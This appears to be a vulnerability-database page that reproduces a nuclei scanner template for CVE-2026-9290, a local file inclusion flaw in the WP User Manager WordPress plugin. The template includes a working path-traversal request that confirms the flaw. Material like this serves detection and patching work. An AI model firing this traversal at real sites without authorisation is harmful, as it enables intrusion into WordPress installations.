Lucene search
K

WP User Manager – User Profile Builder & Membership - Local File Inclusion

🗓️ 20 Jun 2026 03:02:11Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 6 Views

WP User Manager for WordPress up to 2.9.17 enables unauthenticated local file inclusion and code execution.

Related
Refs
Code
id: CVE-2026-9290

info:
  name: WP User Manager – User Profile Builder & Membership - Local File Inclusion
  author: theamanrawat
  severity: high
  description: |
    WP User Manager – User Profile Builder & Membership plugin for WordPress <= 2.9.17 contains a local file inclusion caused by improper handling in the profile template scope function, letting unauthenticated attackers execute arbitrary PHP code, exploit requires ability to upload or control PHP files.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data.
  remediation: |
    Update to a version later than 2.9.17 or the latest available version.
  reference:
    - https://patchstack.com/database/vulnerability/wordpress-wp-user-manager-user-profile-builder-membership-plugin-2-9-17-unauthenticated-path-traversal-to-local-file-inclusion-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9290
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-9290
    epss-score: 0.01862
    epss-percentile: 0.76522
    cwe-id: CWE-22
  metadata:
    max-request: 2
    verified: true
    product: wp-user-manager
    vendor: wp-developer
  tags: cve,cve2026,wordpress,wp-plugin,wp-user-manager,lfi,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-user-manager/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WP User Manager")'
          - 'compare_versions(plugin_version, "<= 2.9.17")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        part: body
        group: 1
        regex:
          - '(?i)Stable\s+tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /profile/admin/about?tab=../../../../../wp-login HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "wp-login-logo"
          - "Username or Email Address"
          - "wp-login-lost-password"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ebf2102be2d4927d23f5bd47c0890fb0654f03685df1c0c60a476d48c034666c02204aad4ffae075780879aafeeeeaadb791ccf111772c4b678e5a7b37190c7db530:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jun 2026 07:07Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.17.5
EPSS0.01862
SSVC
6